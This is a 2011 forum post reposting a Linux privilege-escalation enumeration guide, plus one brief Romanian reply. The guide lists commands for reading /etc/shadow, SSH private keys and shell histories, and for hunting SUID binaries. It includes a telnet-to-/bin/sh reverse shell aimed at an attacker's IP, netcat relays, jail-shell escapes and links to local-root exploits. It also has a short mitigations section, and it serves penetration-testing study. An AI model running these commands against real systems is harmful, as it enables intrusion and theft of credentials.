co4ie Posted August 3, 2011 Report Posted August 3, 2011 Basic Linux Privilege EscalationBefore starting, I would like to point out - I'm no expert. As far as I know, there isn't a "magic" answer, in this huge area. This is simply my finding, typed up, to be shared (my starting point). Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more "things" to look for. It's just a basic & rough guide. Not every command will work for each system as Linux varies so much. "It" will not jump off the screen - you've to hunt for that "little thing" as "the devil is in the detail".Enumeration is the key.(Linux) privilege escalation is all about: Collect - Enumeration, more enumeration and some more enumeration. Process - Sort through data, analyse and prioritisation. Search - Know what to search for and where to find the exploit code. Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box". Try - Get ready for (lots of) trial and error.Operating SystemWhat's the distribution type? What version?cat /etc/issuecat /etc/*-release cat /etc/lsb-release cat /etc/redhat-releaseWhat's the Kernel version? Is it 64-bit?cat /proc/version uname -auname -mrsrpm -q kerneldmesg | grep Linuxls /boot | grep vmlinuz-What can be learnt from the environmental variables?cat /etc/profilecat /etc/bashrccat ~/.bash_profilecat ~/.bashrccat ~/.bash_logoutenvsetIs there a printer?lpstat -aApplications & ServicesWhat services are running? Which service has which user privilege?ps auxps -eftopcat /etc/serviceWhich service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!ps aux | grep rootps -ef | grep rootWhat applications are installed? What version are they? Are they currently running?ls -alh /usr/bin/ls -lah /sbin/dpkg -lrpm -qals -lah /var/cache/apt/archivesOls -lah /var/cache/yum/Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?cat /etc/syslog.confcat /etc/chttp.confcat /etc/lighttpd.confcat /etc/cups/cupsd.confcat /etc/inetd.confcat /etc/apache2/apache2.confcat /opt/lampp/etc/httpd.confls -aRl /etc/ | awk '$1 ~ /^.*r.*/What jobs are scheduled?crontab -lls -lah /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/rootAny plain text usernames and/or passwords?grep -i user [filename]grep -i pass [filename]find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # JoomlaCommunications & NetworkingWhat NIC(s) does the system have? Is it connected to another network?/sbin/ifconfig -acat /etc/network/interfacesWhat are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?cat /etc/resolv.confcat /etc/sysconfig/networkcat /etc/networksiptables -LhostnamednsdomainnameWhat other users & hosts are communicating with the system?lsof -ilsof -i :80grep 80 /etc/servicesnetstat -antupnetstat -antpxnetstat -tulpnchkconfig --listchkconfig --list | grep 3:onlastwWhats cached? IP and/or MAC addressesarp -eroute/sbin/route -neeIs packet sniffing possible? What can be seen? Listen to live traffic# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21Have you got a shell? Can you interact with the system?# 7 Linux Shells Using Built-in Tools « LaNMaSteR53.blognc -lvp 4444 # Attacker. Input (Commands)nc -lvp 4445 # Attacker. Ouput (Results)telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!Is port forwarding possible? Redirect and interact with traffic from another view# rinetd# Port-Forwarding With rinetd On Debian Etch | HowtoForge - Linux Howtos and Tutorials# fpipe# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]FPipe.exe -l 80 -r 80 -s 80 192.168.1.7# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Portssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipemknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relaymknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)Is tunnelling possible? Send commands locally, remotelyssh -D 127.0.0.1:9050 -N [username]@[ip]proxychains ifconfigConfidential Information & UsersWho are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?idwhowlastcat /etc/passwd | cut -d: # List of usersgrep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super usersawk -F: '($3 == "0") {print}' /etc/passwd # List of super userscat /etc/sudoerssudo -lWhat sensitive files can be found?cat /etc/passwdcat /etc/groupcat /etc/shadowls -lah /var/mail/Anything "interesting" in the home directorie(s)? If it's possible to accessls -ahlR /root/ls -ahlR /home/Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwordscat /var/lib/mysql/mysql/user.MYDcat /root/anaconda-ks.cfgWhat has the user being doing? Is there any password in plain text? What have they been edting?cat ~/.bash_historycat ~/.nano_historycat ~/.atftp_historycat ~/.mysql_historyWhat user information can be found?cat ~/.bashrccat ~/.profilecat /var/mail/rootcat /var/spool/mail/rootCan private-key information be found?cat ~/.ssh/authorized_keyscat ~/.ssh/identity.pubcat ~/.ssh/identitycat ~/.ssh/id_rsa.pubcat ~/.ssh/id_rsacat ~/.ssh/id_dsa.pubcat ~/.ssh/id_dsacat /etc/ssh/ssh_configcat /etc/ssh/sshd_configcat /etc/ssh/ssh_host_dsa_key.pubcat /etc/ssh/ssh_host_dsa_keycat /etc/ssh/ssh_host_rsa_key.pubcat /etc/ssh/ssh_host_rsa_keycat /etc/ssh/ssh_host_key.pubcat /etc/ssh/ssh_host_keyFile SystemsWhich configuration files can be written in /etc/? Able to reconfigure a service?ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyonels -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Ownerls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Groupls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Otherfind /etc/ -readable -type f 2>/dev/null # Anyonefind /etc/ -readable -type f -maxdepth 1 2>/dev/null # AnyoneWhat can be found in /var/ ?ls -lah /var/logls -lah /var/maills -lah /var/spoolls -lah /var/spool/lpdls -lah /var/lib/pgsqlls -lah /var/lib/mysqlcat /var/lib/dhcp3/dhclient.leasesAny settings/files (hidden) on website? Any settings file with database information?ls -lahR /var/www/ls -lahR /srv/www/htdocs/ls -lahR /usr/local/www/apache22/data/ls -lahR /opt/lampp/htdocs/ls -lahR /var/www/html/Is there anything in the log file(s) (Could help with "Local File Includes"!)cat /var/log/messagescat /var/log/securecat /var/webmin/miniserv.logcat /var/log/cups/error_logcat /var/log/chttp.logcat /var/log/lighttpd/access.logcat /var/log/lighttpd/error.logIf commands are limited, you break out of the "jail" shell?python -c 'import pty;pty.spawn("/bin/bash")'echo os.system('/bin/bash')/bin/sh -iHow are file-systems mounted?mountdf -hAre there any unmounted file-systems?cat /etc/fstabWhat "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUIDfind / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename herefind / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUIDfor i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/nullWhere can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shmfind / -writable -type d 2>/dev/null # world-writeable foldersfind / -perm -222 -type d 2>/dev/null # world-writeable foldersfind / -perm -o+w -type d 2>/dev/null # world-writeable foldersfind / -perm -o+x -type d 2>/dev/null # world-executable foldersfind / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writeable & executable foldersAny "problem" files? Word-writeable, "nobody" filesfind / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable filesfind /dir -xdev \( -nouser -o -nogroup \) -print # Noowner filesPreparation & Finding Exploit CodeWhat development tools/languages are installed/supported?find / -name perl*find / -name python*find / -name gcc*find / -name ccHow can files be uploaded?find / -name wgetfind / -name nc*find / -name netcat*find / -name tftp*find / -name ftpFinding exploit codeExploits Database by Offensive Security1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r TeamSecuriTeam.comSecurityFocusExploit Search EngineMetasploit :: Browse Exploit & Auxiliary ModulesSecurityReason.com - Our Reason is SecurityFull Disclosure Mailing ListGoogleFinding more information regarding the exploitCVE security vulnerability database. Security vulnerabilities, exploits, references and moreNo Results Found ? Packet Storm[CVE]CVE - ERROR: Couldn't find ''[CVE]Vulnerability Details For[CVE](Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risktarantula.by.ru/localroot/Index of /file/local-root-exploit-priv9MitigationsIs any of the above information easy to find? Try doing it!Setup a cron job which automates script(s) and/or 3rd party productsIs the system fully patched? Kernel, operating system, all applications, their plugins and web servicesapt-get update && apt-get upgradeyum updateAre services running with the minimum level of privileges required?For example, do you need to run MySQL as root?Scripts Can any of this be automated?!unix-privesc-check | pentestmonkeyenum4linux - Portcullis LabsBASTILLE-LINUXOther (quick) guides & LinksEnumerationPenetration Testing Methodology - 0DAYsecurity.comHacking 3Mischttp://jon.oberheide.org/files/stackjacking-infiltrate11.pdfhttp://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdfinsidetrust.com: A quick guide to Linux privilege escalationTutorial By g0tmi1k ... ORIGINAL Quote
backdoor Posted September 9, 2011 Report Posted September 9, 2011 Cred ca ai gresit titlul, vroiai sa spui "Linux commands by example" , nu ?In adara de linkuri , ne-ai dus cu vorba. Cel mai tare e "Google". Quote